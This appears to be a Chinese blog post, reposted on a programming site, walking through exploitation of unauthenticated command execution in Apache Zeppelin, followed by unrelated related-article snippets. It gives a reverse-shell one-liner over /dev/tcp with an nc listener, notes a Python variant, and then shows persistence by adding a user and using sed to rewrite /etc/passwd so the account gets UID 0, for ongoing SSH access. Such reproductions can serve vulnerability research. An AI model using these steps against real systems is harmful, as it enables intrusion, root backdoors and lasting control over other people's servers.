zeppelin 未授权任意命令执行漏洞复现

news2024/11/26 14:35:59

一、命令执行复现

  1. 访问http://ip:8080,打开zeppelin页面,(zeppelin默认监听端口在8080)

image20210714113412518.png

  1. 点击Notebook->create new note创建新笔记

image20210714115155960.png

  1. 在创建笔记的时候选择Default Interpreter为sh,即可执行sh命令

    image20210714115241087.png

  2. 如下图,在命令窗口输入命令,按 shift+Enter 或点击右侧的执行按钮,即可执行sh命令

    image20210714115258525.png

# 二、反弹shell

  1. 不管是用哪种反弹shell的方式,都要在用于接受反弹shell的机器上开启端口监听,注意目标要能主动和接受的机器建立连接(即在同一网段或监听的端口处于公网),这里使用nc监听2333端口,命令为 nc -lvvp 2333,如图所示,开启了监听

    image20210714123724804.png

  2. 利用sh反弹shell 命令为:

    bash -i >& /dev/tcp/ip/port 0>&1
    

    image20210714124643675.png

  3. 重新开启监听,利用python反弹shell(内存不够会失败,折磨我两个小时才找到原因,太菜了太菜了)

    在创建新笔记的时候选择python

    image20210714124818546.png

    这里不需要使用python -c来执行python命令,直接像写python脚本一样就行

    image20210714141018535.png

    成功拿到了反弹的shell,但是python弹回来的并不是一个真的shell,类似于passwd这种需要交互的命令执行不了,而sh弹回来的一般不会有这种问题

# 三、拿下控制权

我们使用sh弹回来的shell进行下一步操作,创建一个特权用户,拿下对目标的持续控制,因为弹回来的是root权限,所以我们可以很方便的操作,但如果是普通用户,我们可以尝试是否拥有sudo权限,如果没有那就得另觅它法了

  1. 创建用户并更改用户密码,命令为
useradd abc
passwd abc # 根据提示重复输入两次密码(高版本系统可能会要求足够复杂的密码)

image20210714144510272.png

  1. 利用 /etc/passwd 文件提升用户的权限

    查看 /etc/passwd,主要注意root和abc两个用户,其中root用户中间的两个数字为 0:0,第一个0(UID)代表root用户,第二个0(GID)代表root组,abc用户的为 1000:1000,同样的,分别代表abc用户和abc组

image20210714145254972.png

所以我们只要将abc中间的两个数字改为 0:0,就能成功把abc提权为root用户

由于没装vi、vim这种编辑器,所以我们需要利用sed命令去修改文件

sed -i '$cabc:x:0:0:root:/root:/bin/bash' /etc/passwd
# -i  参数代表直接对文件操作
# $ 代表文件的最后一行
# c 是 替换,后面为要替换的内容

测试用户权限,su abc切换到abc用户,执行whoami,发现我们依旧是root用户

image20210714151155922.png

之后我们就可以通过ssh随时连接目录机器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1795409.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024 Q1企业级SSD市场暴涨,国产努力追赶!

在2024年第一季度,由于对高容量存储需求的激增,企业级固态硬盘(SSD)市场的收入实现了显著增长,达到了37.58亿美元,与上一季度相比增长了62.9%。这一增长主要得益于供应商减产导致的高容量订单需求未得到满足…

基础篇01——SQL的基本语法和分类

MySQL数据库安装与基本使用 安装教程参见:通过zip安装MySQL 通过命令行启动和停止MySQL服务命令 前提:安装MySQL成功之后 启动服务:net start mysql 停止服务:net stop mysql 通过命令行连接mysql 可以通过mysql的客户端命令行…

GPT、Claude、Perplexity等AI集体宕机罢工,全球打工人崩溃了

就在昨天!一个看似平常的周三上午,三大顶尖AI居然集体罢工了! 首先,网友们发现OpenAI的ChatGPT崩了,接着Claude和Perplexity也接连陷入崩溃状态。而Gemini也出现了短暂下线问题,整整三个小时,这…

【MySQL】sql语句之表操作(上)

序言 在上一篇的数据库操作的内容中,学习了两种属性和常用的七种操作,学习是循序渐进的,库的操作学完了,就要开始学习表的操作了,而表可与数据强相关,比如DDL,即数据定义语言,DML&am…

SIMBA方法解读

目录 预处理scRNA-seqscATAC-seq 图构建(5种场景)scRNA-seq分析scATAC-seq分析多模态分析批次整合多模态整合 图学习SIMBA空间中查询实体识别TF-target genes 预处理 scRNA-seq 过滤掉在少于三个细胞中表达的基因。原始计数按文库大小标准化&#xff0…

【2024】零基础Python 快速入门篇

2023年是AI的元年,AI的爆火不仅推动了科技领域的进步,更让 Python 语言成为了这一变革中的关键角色。 Python 语言简单易懂,语法清晰明了,懂一点英语的都能学得会。很适合在职场摸爬滚打多年的前端组长作为捅破天花板的语言&…

引用(C++)和内联函数

前言&#xff1a;本文主要讲解C语法中引用如何使用和使用时的一些技巧 基本语法 引用就是取别名 #include <iostream> using namespace std; int main() {int a 10;int& b a;//给a取别名为bcout << a << endl;cout << b << endl;return 0…

后端开发面经系列 -- 华为C++一面面经

HUAWEI – C一面面经 公众号&#xff1a;阿Q技术站 来源&#xff1a;https://www.nowcoder.com/feed/main/detail/b8113ff340d7444985b32a73c207c826 1、计网的协议分几层&#xff1f;分别叫什么&#xff1f; OSI七层模型 物理层 (Physical Layer): 负责物理设备之间的原始比…

【介绍下Spark MLlib机器学习】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…

Flink的简单学习二

一 Flink的核心组件 1.1 client 1.将数据流程图DataFlow发送给JobManager。 1.2 JobManager 1.收集client的DataFlow图&#xff0c;将图分解成一个个的task任务&#xff0c;并返回状态更新数据给client 2.JobManager负责作业调度&#xff0c;收集TaskManager的Heartbeat和…

解决 Mac Django 连接Mysql 出现 image not found 问题

最近在使用 Django 框架&#xff0c;因为升级到4.2版本了&#xff0c;对应的本机 Mysql 5.7 就不适用了&#xff0c;于是升级到了 Mysql 8.0&#xff0c;写好代码之后出现如下错误&#xff1a; 仔细分析一下错误的描述&#xff1a; ImportError: dlopen(/Library/Frameworks/P…

Vue3——实现word,pdf上传之后,预览功能(实测有效)

vue-office/pdf - npm支持多种文件(**docx、excel、pdf**)预览的vue组件库&#xff0c;支持vue2/3。也支持非Vue框架的预览。. Latest version: 2.0.2, last published: a month ago. Start using vue-office/pdf in your project by running npm i vue-office/pdf. There are …

微信小程序下载、安装教程-2024年6月6日

微信小程序下载、安装教程-2024年6月6日 一、下载二、安装 一、下载 链接&#xff1a;https://pan.baidu.com/s/1pThpJEtOik9sgOI0F3mr_Q?pwdi1p3 提取码&#xff1a;i1p3 –来自百度网盘超级会员V6的分享 本文是用的网盘下载&#xff0c;具体都差不多。 或者从微信小程序官…

ArkTs-TaskPool和Worker的使用

TaskPool和Worker的区别 实现TaskPoolWorker内存模型线程间隔离&#xff0c;内存不共享。线程间隔离&#xff0c;内存不共享。参数传递机制 采用标准的结构化克隆算法&#xff08;Structured Clone&#xff09;进行序列化、反序列化&#xff0c;完成参数传递。 支持ArrayBuffe…

css-Ant-Menu 导航菜单更改为左侧列表行选中

1.Ant-Menu导航菜单 导航菜单是一个网站的灵魂&#xff0c;用户依赖导航在各个页面中进行跳转。一般分为顶部导航和侧边导航&#xff0c;顶部导航提供全局性的类目和功能&#xff0c;侧边导航提供多级结构来收纳和排列网站架构。 2.具体代码 html <!-- 左侧切换 --><…

生死战的主场,国足与泰国队1比1战平,遗憾失去了出线主动权

6月6日晚&#xff0c;于中国足球曾经的福地沈阳&#xff0c;中国男子国家足球队迎来了一场至关重要的对决&#xff0c;与泰国队展开了一场生死较量。在此前&#xff0c;中国队只需取胜即可提前一轮晋级&#xff0c;然而遗憾的是&#xff0c;国足未能把握住机会&#xff0c;再次…

C语言之旅:探索单链表

目录 一、前言 二、实现链表的功能&#xff1a; 打印 创建节点 尾插 尾删 头插 头删 查找 在指定位置之前插入数据 指定位置删除 在指定位置之后插入数据 打印 销毁 三、全部源码&#xff1a; 四、结语 一、前言 链表是一个强大且基础的数据结构。对于很多初…

uniapp中父子组件的传值

1. uniapp中父子组件的传值 1.1. 父子组件的传值 通过props来实现, 子组件通过props来接收父组件传过来的值 1.1.1. 父组件 <!-- 父组件 --> <template><view><my-son :title"title" sendData"getSonData"></my-son><…

项目实战系列——WebSocket——websock简介

最近项目中需要用到mes和本地客户端进行实时通讯&#xff0c;本来想用webapi进行交互的&#xff0c;但是考虑到高效和实时性&#xff0c;就采用这一项技术。 以往采用的方式——长轮询 客户端主动向服务器发送一个请求&#xff0c;如果服务器没有更新的数据&#xff0c;客户端…

numpy的基本使用

一、NumPy 的主要特性和功能&#xff1a; 多维数组对象&#xff08;ndarray&#xff09;&#xff1a; NumPy 的核心是 ndarray 对象&#xff0c;它是一个多维数组&#xff0c;可以存储相同类型的元素。ndarray 对象具有固定大小&#xff0c;支持矢量化运算和广播功能&#xff0…